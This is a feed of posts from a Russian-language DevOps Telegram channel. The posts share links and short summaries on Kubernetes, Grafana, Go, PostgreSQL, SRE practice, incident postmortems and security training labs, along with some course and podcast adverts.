Повышение привилегий в Linux: практические команды и приемы

В этой статье несколько практических советов и инструментов для выявления уязвимостей в Linux. Все легко и быстро проверить. Читать.

Пятничный деплой

13 Jan, 08:04


A Guide to Deploying Jaeger on Kubernetes in Production

В этой статье рассказано, что требуется для развертывания и управления бэкендом Jaeger в продовых средах.

❗️Статья на medium.com

Пятничный деплой

12 Jan, 14:07


grizzly - утилита для манеджмента дашбортов графаны через код

Утиилта позволяет создавать, редактировать, обновлять дашборды, настраивать алертинг и дт. Все это через код

Пример простой борды


apiVersion: grizzly.grafana.com/v1alpha1
kind: Dashboard
metadata:
name: prod-overview
folder: general
spec:
schemaVersion: 17
tags:
- templated
timezone: browser
title: Production Overview
uid: prod-overview


И можно использовать Jsonnet

https://grafana.github.io/grizzly/

Пятничный деплой

11 Jan, 14:39


🔧 Go: Структуры, интерфейсы и внедрение зависимостей – проще, чем кажется!

Если вы разрабатываете на Go и хотите писать гибкий, чистый и тестируемый код, то понимание структур, интерфейсов и внедрения зависимостей станет отличным навыком. Статья подробно объясняет, как использовать эти возможности языка для создания устойчивой архитектуры.

🛠 Что вы узнаете?
🔠Структуры: как моделировать реальные данные с помощью полей и методов.
🔠Интерфейсы: как задавать контракты между типами и отделять детали реализации от общей логики.
🔠Внедрение зависимостей: как сделать ваш код модульным и тестируемым, передавая зависимости через параметры конструктора или функции.

💡 Почему это важно?
Гибкость: интерфейсы позволяют заменить реальные зависимости на моки, что упрощает тестирование.
Удобство изменений: структура кода остаётся простой при добавлении новых функций.
Производительность: Go минималистичен, и внедрение зависимостей здесь проще, чем в других языках.

Пятничный деплой

10 Jan, 13:58


Стали доступны записи выступлений с KubeCon + CloudNativeCon India 2024. Полный плейлист можно найти тут (это под 100 видео). Отдельно отметим доклады:
- A Deep Dive Into the Current Runtime Security Landscape
- Tutorial: Flatcar Container Linux Deep Dive: Deploying, Managing, and Automating Workloads Securely
- Enhance Kubernetes Security with the Common Expression Language (CEL)

Пятничный деплой

09 Jan, 09:56


Как устроен кэш Linux: руководство для начинающих

Linux известен своей производительностью и стабильностью. Большая часть того, что делает его эффективным, — это то, как он работает с памятью. Одной из важнейших функций является кэш страниц , который играет важную роль в ускорении файловых операций и повышении производительности системы. Читать дальше.

Пятничный деплой

09 Jan, 09:25


Поскольку у нас в чате обнаружился внезапный интерес к PostgreSQL, рекомендую всем, кто слышал слово “мультимастер”, но мало понял, чего и как, потратить час на просмотр этого доклада с прошлогоднего (уже даже позапрошлогоднего) хайлоада.
Помимо объяснения базовых историй там обговаривается важный момент, когда надо перестать заниматься глупостями и начать шардировать базу.
https://www.youtube.com/watch?v=xbECtj-iBVk

Пятничный деплой

08 Jan, 19:29


Обзор новых проектов которые появились в CNCF Sandbox в 2024 году

Как ни крути, а CNCF Sandbox наш маяк 🚨 в бушующем море новых проектов позволяющий понять, какие из них уже пора пробовать на зуб, а что оставить дозревать.

🔹 Provisioning, Observability, Analysis: автоматизация работы с Terraform и платформа как код
- Atlantis
- bpfman
- Kubean
- KusionStack
- OSCAL Compass
- Perses
- Ratify
🔹 Orchestration & Management: гибкие политики планирования и безопасное управление сервисами
- HAMi
- Kmesh
- Koordinator
- Kuadrant
- KubeSlice
- LoxiLB
- Sermant
🔹 Runtime и App Definition & Development: отказоустойчивое хранилище и анализ временных рядов
- OpenEBS
- openGemini
- OVN-Kubernetes
- Radius
- Score
- Shipwright
- Stacker
- youki

А также мегаобзор проектов, попавших в CNCF Sandbox в 2023 году. Возможно вы что-то пропустили.

#cncf

Пятничный деплой

08 Jan, 19:28


🛠 Spiko - красивая и функциональная TUI утилита для нагрузочного тестирования веб-приложений и сайтов...

https://github.com/trinhminhtriet/spiko

#highload #test #tui

Пятничный деплой

07 Jan, 10:02


Два столпа Linux мониторинга

В этой статье рассказывают о двух подходах к аудиту событий инфобеза в Linux: auditd и eBPF. Последний более современный и имеет ряд интересных преимуществ. Подробнее в статье на Хабре.

Пятничный деплой

05 Jan, 09:03


Топ-7 статей от наших инженеров за 2024 год

Рейтинг создан редакцией этого канала и претендует исключительно на ваши лайки:

1️⃣ Как ручному тестировщику стать автоматизатором?
О важности перехода на автотесты и способах его совершить.
Время чтения ~10 минут

2️⃣ Как мы обучили Mistral 7B русскому языку и адаптировали для объявлений Авито
О переобучении LLM и задачах, которые мы им доверяем.
Время чтения ~7 минут

3️⃣ Как и зачем мы написали 5000 интеграционных тестов за пару часов
О сборке генератора для тестирования и сокращении QA-рутины.
Время чтения ~6 минут

4️⃣ Как мы ищем деградации на нодах в кластерах Kubernetes
О мониторинге состояний нод с инструментами и дашбордами.
Время чтения ~12 минут

5️⃣ Популярные ошибки в Golang и как их избежать
О массивах и слайсах, строках и рунах, каналах и горутинах.
Время чтения ~15 минут

6️⃣ Топовые подходы к решению алгоритмических задач
О концепции работы с популярными алгоритмами и структурами данных.
Время чтения ~11 минут

7️⃣ Bricks: новый подход к управлению интерфейсами
О процессах смены интерфейсов и их оптимизации в собственном визуальном конструкторе.
Время чтения ~7 минут

P.S. Если у вас ещё нет настроения на профессиональные статьи — 0% осуждения. Сохраняйте подборку себе и заглядывайте в наш хаброблог после каникул.

Пятничный деплой

05 Jan, 06:23


Вангую, в ближайшее время нас ждет куча докладов как компании внедряют STAMP (все же внедрили sre и devops надеюсь?) https://www.usenix.org/publications/loginonline/evolution-sre-google

Пятничный деплой

02 Jan, 09:03


Для тех кто на праздниках работает или просто не поехал в отпуск Владимир Федорков и fournines.ru подготовили трехдневный практический интенсив по работе с СУБД MySQL.

Минимум теории и максимум фактов от обладателя невыспавшегося лица, злобного сарказма и автора рассказов “Как спроектировать MySQL инфраструктуру для высоких нагрузок (Hexlet)” , “Как правильно убить MySQL (HighLoad)”, “Эти ваши девятки и как их ненароком не достичь (LinkMeetUp)” и других никому не интересных видосиков.

Интенсив разбит на три дня и пройдет с 6 по 8 января ежедневно с 16:00 до 17:30 по Московскому времени в режиме онлайн. Каждая встреча посвящена одному большому разделу.

День 1: Ставим и тюним MySQL для работы с высокими нагрузками
День 2: Учимся писать самые быстрые в мире запросы для MySQL
День 3: Строим отказоустойчивую инфраструктуру для MySQL

Подробности по ссылке

Пятничный деплой

01 Jan, 13:20


Migrating Hpa To Keda

https://yasintahaerol.medium.com/migrating-hpa-to-keda-13e946ee29ee

Пятничный деплой

31 Dec, 12:12


🎯 Мини-статья о мьютексе в Go

В статье Линк Мэтью рассказывает, как управлять доступом к общим ресурсам в многопоточности с помощью мьютексов.

Мьютекс (mutual exclusion) гарантирует, что только одна горутина работает с разделяемым ресурсом в каждый момент времени.

В статье наглядно показано:
Что такое мьютекс и как он работает;
Простой пример использования sync.Mutex в Go.

Пятничный деплой

30 Dec, 19:39


Сегодня хочется познакомить вас с еще одним обучающим проектом в котором есть немного теории и практики по безопасности Kubernetes.

Это проект Damn Vulnerable Kubernetes Application (DVKA). В нем есть 2 задания:
- Hack The NFT Museum
- Enterprise Grade Network Debugging Console

Развернуть их можно на Minikube или Kind. И это напоминает проект Kubernetes Goat о котором мы уже рассказывали.

Также тут есть теория "Kubernetes Security Workshop: Hands-On Attack and Defense" со слайдами, и полезными ссылками, и последовательностями команд.

Самое то что можно развернуть на праздниках и поучиться ;)

Пятничный деплой

30 Dec, 12:45


Как не утонуть в мусоре PostgreSQL: VACUUM

VACUUM в PostgreSQL — штука, которая спасает базы данных от захламления. PostgreSQL использует MVCC для управления транзакциями. То есть каждая операция вставки, обновления или удаления оставляет после себя версию строки. Старые версии остаются в таблице, пока VACUUM их не зачистит. Читать на Хабре.

Пятничный деплой

27 Dec, 19:20


Итоги такие итоги. С наступающим всех! Не бойтесь деплоить в пятницу!

Пятничный деплой

27 Dec, 17:15


Ну и в чате https://t.me/kubernetes_ru прямо сейчас идёт трансляция

Пятничный деплой

27 Dec, 17:12


Live: Kubernetes 1.32
Эпичные изменения


В уходящий год дракона взлетел релиз K8S Пенелопа, и Кхал Алексей Мамоа самоотверженно защищает ее безопасность перед лицом, столь же выдающимся, Георгом Гаалом.
О судьбе Пенелопы узнаете от венгерского рыцаря Георга и цифрового кочевника Алексея уже в эту пятницу в 20:00

- с Georg Gaal @gecube
- и Aleksey Fedulaev @int0x80h

Прямая трансляция: https://www.youtube.com/watch?v=PzDrJHZTTMY
с ответами на вопросы из чата YouTube

При поддержке:
@ever_secure

🔥IT STAND | FIDELINA.RU | Бот

Пятничный деплой

27 Dec, 11:12


3 статьи про K8s от инженеров Deckhouse ⤵️

Команда разработки Deckhouse часто выступает с докладами на HighLoad++, DevOpsConf и других конференциях «Онтико». Спикеры компании рассказывают о DevOps, Kubernetes и платформенной разработке. Сегодня мы делимся с вами тремя статьями от инженеров Deckhouse по этим темам, которые больше других понравились читателям в уходящем году.


🔴Новая аутентификация в Kubernetes: зачем переходить на Structured Authentication Config

Structured Authentication Config — крупнейшее изменение системы аутентификации в K8s за последние годы. В статье Максим Набоких, член Kubernetes SIG Auth, рассказывает о предпосылках появления KEP 3331 и сценариях, в которых полезен новый аутентификатор.

🔴Автоматизируем сборку и деплой приложения в GitLab CI/CD: подробное руководство с примерами

Статья о том, как использовать GitLab для организации автоматической сборки и деплоя приложения в кластер Kubernetes. Сам кластер будет работать под управлением Deckhouse Kubernetes Platform, а автоматизировать процесс будем с помощью Open Source-утилиты werf.

🔴Обзор k8sgpt: как ИИ помогает обучать DevOps-инженеров

K8sgpt — чат-бот, который помогает получать информацию и советы по вопросам, связанным с Kubernetes. Статья рассказывает, как установить утилиту и подключить к ней AI. Вы увидите, какого уровня диагностику можно провести с помощью этого инструмента и на какие ответы можно рассчитывать.

Продуктивного прочтения 🙌

Пятничный деплой

27 Dec, 09:31


Autoscaling with Keda and Prometheus Using Custom Metrics in Go

https://medium.com/vakifbank-teknoloji/autoscaling-with-keda-and-prometheus-using-custom-metrics-in-go-558a64668fc4

Пятничный деплой

27 Dec, 09:28


На канале Luntry в ВК выложены мой воркшоп с SafeCode 2024 Autumn и доклад с DevOops 2024

"Готовим контейнеры полезно и вкусно" (совместно со мной этот вокршоп вёл Алексей Федулаев, @ever_secure)
https://vkvideo.ru/video-211664921_456239070
Слайды: https://t.me/tech_b0lt_Genona/4783

"Латаем огрехи в образах приложений до рантайма, во время и после" (экспертом на докладе был Сергей Задорожный, @IT_Friday)
https://vkvideo.ru/video-211664921_456239071
Слайды: https://t.me/tech_b0lt_Genona/4807

Для тех, кому тяжело с ВК жить, прицепил видосы к посту.

Так же напомню, что все доклады и вебинары (а также слайды к ним), которые делаю я и мои коллеги, доступны на сайте Luntry в разделе "Исследования"
https://luntry.ru/research

Пятничный деплой

26 Dec, 09:47


markitdown: Convert Files and Office Documents to Markdown
https://ift.tt/tkqbs3H

Пятничный деплой

25 Dec, 09:03


Облако — это конструктор!

The Art of Programming — подкаст об ​​инструментах, технике и разработке ПО. По следам конференции HighLoad 2024 записали новый выпуск, в котором обсуждаем индустрию публичных облаков.

Вместе с Данилой Дюгуровым, CTO MTC Web Services, говорим о новостях индустрии, создании новых облачных платформ, потенциале рынка и принципах формирования топовых команд разработки.

🎧Слушайте The Art of Programming на всех популярных подкаст-площадках.

Пятничный деплой

25 Dec, 06:26


Наверняка если вам нужно изучить структуру какого-нибудь ресурса из Kubernetes вы идете в документацию и смотрите API Overview.

Но это не всегда бывает удобно, поэтому сегодня хотим порекомендовать вам ресурс kubespec.dev. По сути это тоже своего рода структурированная документация по структурам ямлов всех Kubernetes ресурсов, но в более удобном и красивом отображении.

Из плюсов можно добавить возможность сравнения ресурсов между собой по версиям, примеры манифестов, а также поддержку кастомных ресурсов, например Kyverno, Cilium, Istio и т.д.

Проект появился недавно и активно развивается, так что в скором времени можно увидеть и другие фичи.

Пятничный деплой

24 Dec, 15:05


Understanding the Extension of Kubernetes APIs with Custom Resource Definition

https://alpharm.hashnode.dev/understanding-the-extension-of-kubernetes-apis-with-custom-resource-definition

Пятничный деплой

22 Dec, 09:12


На просторах сети интернет есть такая серия постов как "Hands-on lab: Full Kubernetes compromise, what will your SOC do about it?". Состоит она из 4 частей:
1) Введение - легенда про вымышленную компанию Kuby, в которой случился инцидент и были слиты их данные. Дается описание инфраструктуры компании.
2) Построение уязвимой инфраструктуры Kuby - стек Terraform, Amazon EKS, GitHub Actions CI/CD pipeline.
3) Атака инфраструктуры Kuby - supply-chain attack приводящий к backdoor.
4) Расследование инцидента - анализ событий в GuardDuty и сбор релевантных артефактов и что можно еще улучшить.

Это будет полезно и offensive и defensive, а также DevOps.

P.S. Один из наших партнеров в этом году сделал чумовую лабу под Luntry, на решение сценариев которой ушло 3-4 дня! Это было настолько здорово, что мы договорились ее развивать совместно.

Пятничный деплой

22 Dec, 00:48


https://habr.com/ru/articles/852536/

Пятничный деплой

20 Dec, 16:30


Using mirrord for Local Development and Debugging

https://uthy.hashnode.dev/using-mirrord-for-local-development-and-debugging

Пятничный деплой

19 Dec, 09:42


Стань мастером Redis, создавая его с нуля!

Что может быть лучше для понимания технологий, чем собрать их самому? 🤔
CodeCrafters предлагает уникальный интерактивный курс, где вы создадите свой собственный Redis — высокопроизводительное хранилище данных с поддержкой команд, конвейеров и многое другое.

📌 Чем вы займётесь:

- Реализация команд, таких как GET, SET и других.
- Работа с сетевыми сокетами и многопоточностью.
- Построение архитектуры, вдохновлённой Redis, шаг за шагом.

💡 Курс подходит для изучения на популярных языках программирования, включая Python, Go, Rust, C++, Java и другие.

👉 Перейти к курсу Redis

Пятничный деплой

06 Dec, 19:22


В начале 2024 года вышел отчет по состоянию Site Reliability Engineering в индустрии — The SRE Report 2024. Это уже 6-е издание отчета, исследования проводятся с 2018 года рабочей группой, состоящей из сотрудников Catchpoint и приглашенных экспертов. В подготовке текущего отчета участвовали: Niall Murphy (автор книг Site Reliability Engineering и The Site Reliability Workbook), Alex Hidalgo (автор книги Implementing SLO), Alex Elman (Indeed), Sarah Butt (SentinelOne), Kurt Andersen (Clari, SREcon) и др. Про компанию Catchpoint известно, что они разрабатывают SaaS платформу для Digital Experience Monitoring, аналогами которой являются платформы от Datadog, Dynatrace и New Relic. Исследование проводилось в форме опроса, в котором в этом году приняло участие 433 представителя индустрии, большинство из Америки и крупных компаний (больше 1000 сотрудников) из следующих индустрий: Technology, Financial, Healthcare, Government и Professional services.

Что интересного мы отметили в отчете:
1. В небольших компаниях (до 100 инженеров) функция SRE централизована в одной команде, поддерживающей несколько сервисов. С ростом компании происходит разделение на продуктовые и платформенные команды, что приводит к изменению топологий и структуры SRE команды;
2. Основные трудности с которыми сталкиваются SRE команды: планирование бюджета и ресурсов, приоритизация и архитектура. При этом найм, взаимодействие с командами и прозрачность работы отмечают реже;
3. С точки зрения влияния SRE на бизнес (Business Value) отмечают следующие факторы: Операционная эффективность (Operational Efficiencies), Customer Satisfaction и Customer Experience, Repair Times и реже — соблюдение SLA и Velocity;
4. Наиболее сложными аспектами решения инцидентов выделяют диагностику и поиск проблем, эскалацию и координацию между участниками, извлечение уроков и обучение на инцидентах;
5. Основное внимание уделяется решению инцидентов, оказывающим значительное влияние на пользователей, инцидентам высокого уровня (High severity) и тем, которые видны публично;
6. В качестве областей для улучшения процессов надежности выделяют: смену фокуса с исправлений на обучение на инцидентах, установление связей между инцидентами, выполнение action items после разбора инцидентов;
7. Разбор инцидентов, проведение ретроспектив и подготовка постмортемов лидируются в основном представителями SRE команд и руководителями, отдельная выделенная incident team встречается редко и в больших компаниях. При этом половина участников отмечает что уделяют недостаточное время для разбора инцидентов;
8. Вне дежурств SRE команды тратят в среднем 50% времени на инженерную работу, 25% времени на операционную работу (Toil) и 15% на прерывания;
9. Большинство компаний используют от 2 до 5 различных инструментов и систем для мониторинга и наблюдаемости. Не только из-за разного функционала и сценариев использования, но часто в следствии дублирования. Количество инструментов увеличивается с ростом компании;
10. Кроме мониторинга внутренних сервисов подчеркивается важность мониторинга внешних сервисов, таких как BGP, CDN, SASE, SaaS, внешние DNS и API;
11. Наиболее часто используемые метрики для измерений: Uptime/Availability, Performance/Response time, Latency и Error rate. Saturation упоминается гораздо реже, а SLOs разделяют на два типа: Uptime SLOs и Performance SLOs.

Пятничный деплой

06 Dec, 19:22


Огромное спасибо за разбор!

Пятничный деплой

06 Dec, 08:30


Monitoring logs with Prometheus, Grafana and Fluentd

Статья-воркшоп по настройке мониторинга.

❗️Статья на medium.com

Пятничный деплой

05 Dec, 16:17


The book "Performance Analysis and Tuning on Modern CPU"


My book is a 170+ page guide for optimizing the performance of applications that run on modern CPUs. It combines the knowledge of many experts from different industries, to whom I'm very thankful. Engineers from Google, Facebook, leading HFT, and game development firms helped me shape this book


https://github.com/dendibakh/perf-book

#book #perfomance

Пятничный деплой

05 Dec, 16:17


Базы данных в FastAPI — Как подключиться и делать запросы

Создадим базу данных, подключимся и напишем простые запросы.

📺 YouTube

Clean Code #видео #FastAPI

Пятничный деплой

05 Dec, 15:41


Monitoring, troubleshooting, and query analytics for PostgreSQL on Kubernetes

https://dev.to/dbazhenov/monitoring-troubleshooting-and-query-analytics-for-postgresql-on-kubernetes-2onj

Пятничный деплой

05 Dec, 12:31


How vmagent Collects and Ships Metrics Fast with Aggregation, Deduplication, and More

Агент VictoriaMetrics или vmagent, — это инструмент, предназначенный для сбора показателей из различных источников.

Vmagent может отправлять обработанные метрики в систему хранения, например, VictoriaMetrics или куда угодно, где поддерживается протокол записи в формате Prometheus. Он также поддерживает собственный протокол удаленной записи VictoriaMetrics, что является более эффективным способом обработки большого объема данных. Читать в блоге VM.

Пятничный деплой

05 Dec, 11:17


Если у вас есть Jenkins, эта статья для вас: https://habr.com/ru/companies/oleg-bunin/articles/864084/   

Если у вас нет Jenkins, либо вы мало с ним работали, это будет не менее полезно. Ведь мы не просто обозначим проблемы безопасности и уязвимости, а будем учиться от них защищаться. Залезем в голову к злоумышленнику и построим тактику защиты. Сразу сформируем чек-лист, чтобы у вас было чёткое понимание на что обратить внимание в ваших инсталляциях.

Пятничный деплой

05 Dec, 08:48


Edit your Git-based Grafana dashboards locally

Grizzly — утилита командной строки для Grafana, которую можно использовать для проверки или редактирования дашбордов Grafana. Статья в блоге Grafana.

Пятничный деплой

03 Dec, 12:27


[Перевод] Актуальный список практичных инструментов и фреймворков в арсенале лида — Часть 1 #habr
https://habr.com/ru/companies/otus/articles/863392/
Tags: управление командой, тимлид, инструменты управления
Author: MaxRokatansky (OTUS)

Пятничный деплой

02 Dec, 17:35


🔓 Для нас в Yandex Cloud важно быть для каждого клиента надежным технологическим партнером.

Поэтому мы много работаем над тем, чтобы обеспечивать стабильность платформы. А если что-то идет не так, прозрачно и открыто рассказываем о том, что произошло и что мы делаем, чтобы избежать подобных ситуаций в будущем.

29 ноября 2024 года в работе облачной платформы произошел масштабный сбой, который повлиял на сервисы наших клиентов.

👉 По ссылке мы публикуем разбор этого инцидента и рассказываем, что уже предприняли для предотвращения повторных сбоев. В течение недели мы будем дополнять этот отчет деталями, а также поделимся дальнейшими планами по повышению надежности сети.

Мы приносим искренние извинения каждому, кого затронули перебои в работе платформы. А также благодарим коллег по индустрии, кто написал нам слова поддержки.

#yacloud_news

Пятничный деплой

02 Dec, 13:37


С докладами на сегодня все - есть в планах посетить несколько активностей. Завтра продолжу обозревать. Stay tuned!

Пятничный деплой

02 Dec, 13:35


Собственно summary выше

Пятничный деплой

02 Dec, 13:35


Egress тоже болит - много правил для fw. В опенсорс решений нет и коллеги слелали свой, который не стали шерить - много своей специфики

Пятничный деплой

02 Dec, 13:34


Решение - свой инструмент для шардирования

Пятничный деплой

02 Dec, 13:33


Следующая точка - ingress. На больших количествах пухнут конфиги nginx и становится больно

Пятничный деплой

01 Dec, 12:01


Молодцы ребята в графане. Не занимаются странными сравнениями функциональности, а прям пишут, как свалить к ним через OpenTelemetry.

https://grafana.com/blog/2024/11/25/how-to-use-opentelemetry-and-grafana-alloy-to-convert-delta-to-cumulative-at-scale/

Пятничный деплой

30 Nov, 18:28


🐧 PRoot: Универсальный инструмент для работы с Linux

Откопали настоящего слоняру. PRoot — это пользовательское решение для chroot, mount --bind и binfmt_misc без необходимости в root-доступе.

✔️ Используйте любую директорию как новую root-файловую систему.
✔️ Эмулируйте программы для другой архитектуры через QEMU.
✔️ Разрабатывайте, собирайте и тестируйте пакеты Linux в гостевой среде без сложностей кросс-компиляции.
✔️ Интеграция с host-программами для ускорения сборки и расширения функционала.

Идеально для разработчиков, экспериментов с системами и кросс-платформенной разработки.

👉 Описание PRoot: Ссылка
👉 PRoot 5.1.1: Ссылка

Пятничный деплой

30 Nov, 18:26


⚒️🔐 JSON Web Token (JWT) в деталях: на заметку разработчику

🔗 Источник
🔗 Статья по теме

#инфографика

Пятничный деплой

29 Nov, 21:19


Отличный доклад вдогонку к относительно недавним беседам про кубовые CNI. Очень чётко объяснены причины выбора, рассказан весь путь от calico до cilium и разобраны плюсы/минусы.
Я прям удовольствие получил пока смотрел. На 13:47 вообще растаял.
P.S. После линкмитапа в Казахстане, я теперь не могу спокойно реагировать когда вижу RIP в проде. Особенно в проде такого размера.
https://www.youtube.com/watch?v=udPCzFEuDJ0

Пятничный деплой

29 Nov, 14:31


Эпизод №8, прямой эфир. Управление инцидентами в большой компании

Через несколько минут начинаем, подключайте ваши интернет приёмники и если ни не работают заводите инцидент, музыка уже играет.
https://vkvideo.ru/video-224307401_456239033
https://stream.itradio.su

Задаём свои вопросы в чате подкаста с тегом #вопрос8
@ITRadiosu

Пятничный деплой

29 Nov, 14:31


Эпизод №8, прямой эфир. Управление инцидентами в большой компании

Через несколько минут начинаем, подключайте ваши интернет приёмники и если ни не работают заводите инцидент, музыка уже играет.
https://vkvideo.ru/video-224307401_456239033
https://stream.itradio.su

Задаём свои вопросы в чате подкаста с тегом #вопрос8
@ITRadiosu

Пятничный деплой

28 Nov, 14:21


Как работает Compute?

Незаслуженно забытый мной выпуск подкаста «Как мы делаем Yandex Cloud» гостем выпуска был Валентин Синицын, руководитель направления вычислительных сервисов.

С Валентином мы поговорили об устройстве Compute, а также о трудностях и специфике работы с вычислительными сервисами. А ещё обсудили подходы к дебаггингу и риски использования опенсорс-решений без доработок.

➡️ Смотреть на YouTube
➡️ Слушать на Яндекс Музыке

#подкаст #hwmyc

Пятничный деплой

28 Nov, 13:06


Анонс № 8. Управление инцидентами в большой компании

Большая компания – это компания, над которой не заходит солнце. Например, мировой агрегатор такси и доставки Uber.

Кто?
Карен Товмасян – Senior Engineer – Payments @ Uber и бессменный автор канала Человек и Машина.

О чём?
• Планируем выяснить, как всё-таки писать слово «инцидент»;
• Чем отличается инцидент от аварии, алёрта или бага;
• Что происходит в процессе починки, чем postmortem отличается от обычного отчёта от аварии;
• Всё это приправим небольшим количеством офигительных историй.

Когда: 29.11.2024 в 17:00 по МСК

Обязательно задаём свои вопросы в чате подкаста с тегом #вопрос8.
Анонимные вопросы можно задавать там: тыц.

Трансляция будет здесь и тут

@ITRadiosu

Пятничный деплой

28 Nov, 09:01


Расширить свой стек и поднять скиллы на следующий грейд просто!

➡️Gitlab CI/CD, Docker, RabbitMQ, JavaScript, Python, Linux для разработчиков, инструменты DevOps для разработчиков сами себя не изучат, но вы можете!

А курсы Слёрма самых разных востребованных направлений помогут вам сэкономить время, повысить грейд и прокачать навыки.

Учёба в Слёрм это:

🔵бесплатное начало: вы получите демодоступ к курсу на 1 день
🔵старт в любое время и обучение в своем темпе без привязки ко времени
🔵фокус на практику: она занимает до 80% обучения
🔵знания от ведущих экспертов современного IT рынка
🔵удобные условия оплаты: рассрочка, налоговый вычет, оплата зарубежной картой и даже оформление оплаты от работодателя.

Становитесь востребованным и высокооплачиваемым специалистом на рынке вакансий и прокачивайте свои навыки с нами!

Программу и полный список курсов смотрите ➡️ на сайте

Реклама ООО «Слёрм» ИНН 3652901451

Пятничный деплой

27 Nov, 12:55


Fearless SSH: short-lived certificates bring Zero Trust to infrastructure

https://blog.cloudflare.com/intro-access-for-infrastructure-ssh

#cloudflare #ssh #security

Пятничный деплой

27 Nov, 12:51


Ускоряем запросы в PostgreSQL, оптимизируя оператор GROUP BY

Пользователи PostgreSQL нередко оперируют аналитическими запросами, которые предполагают сортировку и группировку данных по разным правилам. Время и стоимость выполнения таких запросов можно значительно сократить, если оптимизировать вычисление агрегатов и сортировок. Об одной из таких оптимизаций — выборе порядка колонок в выражении GROUP BY — рассказано в этой статье.

Пятничный деплой

27 Nov, 11:59


Go отлаживать на проде, избавляться от хардкода и переходить на Ginkgo/Gomega: доклады для гоферов #habr
https://habr.com/ru/companies/yadro/articles/861742/
Tags: go, ginkgo, gomega, отладка на проде, платформенная разработка, cel, testify, require, доклады
Author: yadro_team (YADRO)

Пятничный деплой

27 Nov, 10:25


Яндекс признал и осознал, что не может не радовать

15 октября мы раскатили прошивку на 10% устройств. Поэтапная раскатка обновления — это стандартная практика. Она предназначена в том числе для того, чтобы выявлять проблемы новых версий на ранней стадии. И прежде чем увеличивать процент раскатки, мы отсматриваем метрики всех ключевых пользовательских сценариев. Но число генерируемых нами NTP‑запросов исторически никогда не входило в метрики, требующие валидации, потому что NTP‑клиент годами существовал практически без изменений и не приводил к проблемам.

К 24 октября новая прошивка докатилась до 100% колонок. Опять же, критичные для пользователей сценарии покрыты автоматическим мониторингом. Если что‑то важное ломается, мы получаем уведомление. Но, как вы уже догадались, для NTP‑клиента таких уведомлений настроено не было.
. . .
Жалоб было мало, действующий регламент поддержки не был рассчитан на подобные ситуации, поэтому обращения рассматривали не в самом высоком приоритете. К 20 ноября мы нашли ошибку, внесли исправление в код и начали готовить новый релиз.

В выходные 23–24 ноября ситуация с NTP‑серверами обостряется: доступными остаются лишь четыре сервера. К этому моменту мы уже начали раскатывать релиз с исправлением на 10% устройств.
. . .
В воскресенье мы выпустили хотфикс в виде новой рантайм‑конфигурации для NTP‑клиента, который увеличивал период перезапроса с 5 до 600 секунд, уменьшая нагрузку на серверы в 120 раз. Хотфикс не исправлял проблему полностью, но был единственным быстрым способом снять чрезмерную нагрузку с NTP-серверов.
. . .
мы запланировали выделить ресурсы в общий пул NTP‑серверов. Это займёт некоторое время, потому что наши дата‑центры удалены от основных точек обмена трафиком, а для NTP‑серверов RTT (Round Trip Time) это — ключевой фактор качества. Мы установим и запустим мощности на основных точках обмена трафиком.

Для наших устройств мы заведём именную зону в соответствии с гайдлайнами проекта NTPPool.org для бо́льшей прозрачности. Генерируемый ими трафик будет локализован на наших NTP‑серверах, если мы продолжим полагаться на публичную инфраструктуру проекта.

Ещё мы добавим метрики, связанные с NTP, на этап валидации A/Б‑экспериментов, а также реалтайм‑уведомления о неполадках в этом компоненте. В том числе расширим сценарии мониторинга исходящего и входящего служебного трафика устройства в целом. Также поработаем над каналами коммуникаций и поддержкой, чтобы подобные проблемы быстрее до нас эскалировались.


Об инциденте с NTP-серверами
https://habr.com/ru/companies/yandex/articles/861538/

Спасибо подписчику за ссылку

Пятничный деплой

27 Nov, 09:11


🧑‍💻 Оптимистические 🆚 Пессимистические блокировки: наглядная #инфографика для разработчика

👉 Источник

Пятничный деплой

27 Nov, 09:09


Go Production Performance Gotcha - GOMAXPROCS

https://metoro.io/blog/go-production-performance-gotcha-gomaxprocs #golang

Пятничный деплой

27 Nov, 08:05


Лучший Гайд по Kafka для Начинающих За 1 Час

Работа с Kafka - ключевое умение для любого современного разработчика! В этом видео разберем основные особенности этой замечательной технологии, я расскажу о гарантиях, топиках, репликациях, а также как масштабировать Kafka! Будет невероятно полезно! Приятного просмотра!

📺 YouTube

Clean Code #видео #kafka

Пятничный деплой

27 Nov, 08:03


kondense - это проект на Go выполненный в виде sidecar контейнера, который помогает автоматически управлять ресурсами контейнеров в Kubernetes без их перезапуска. На пример, освобождать не используемое количество выделенной контейнеру memory и CPU. Для этого используется не так давно появившееся фича InPlacePodVerticalScaling.

Многим такое полезно, но в данной реализации как по нам все омрачается правами ServiceAccount, которыми должен владеть Pod - это: "get", "list", "watch", "patch" на "pod" и (самое печальное) "create" на "pods/exec" (тут исходник, объясняющий зачем это)... С учетом этого также получается, что все сервисы теперь должны в своих NetworkPolicy иметь доступ к Kubernetes API.

Хоть проект и полезный, но с учетом вопросов ИБ к нему врят ли его можно рекомендовать. Явно нужно ждать другой реализации. Но сам факт появление подобных проектов вокруг фичи InPlacePodVerticalScaling это отлично.

Пятничный деплой

27 Nov, 08:01


Мне тут сообщили, что многие тут хотят серьезно прокачать свой DevOps. Но не знают где взять информацию и четкий план.

💪 Советую бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования в удобном формате.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.

📌 Ну а тем, кто хочет двигаться под руководством опытного наставника, моего коллеги - индивидуальная программа.

Пятничный деплой

27 Nov, 08:00


Чем заменить сервис New Relic, при этом сохранить контроль над данными📊, гибкость настройки и локальную поддержку?

На этот вопрос ответили на митапе GMonit вместе с экспертом из АШАН:

📌 Сравнили функционал New Relic с российским APM-инструментом мониторинга на примере observability платформы GMonit.
📌 Рассказали, как с помощью APM-инструмента можно настроить мониторинг в считанные минуты, отследить корневые ошибки на уровне кода и ускорить работу с инцидентами в несколько раз.
📌 Показали на реальном примере, как GMonit позволил компании АШАН комплексно оценить влияние ИТ на e-com и определить векторы для оптимизации работы сервисов.🔝

Видеозапись онлайн-мероприятия можно посмотреть на удобной для вас площадке:
🎥
ВКонтакте
🎥
Rutube
🎥
YouTube

Пятничный деплой

25 Nov, 08:57


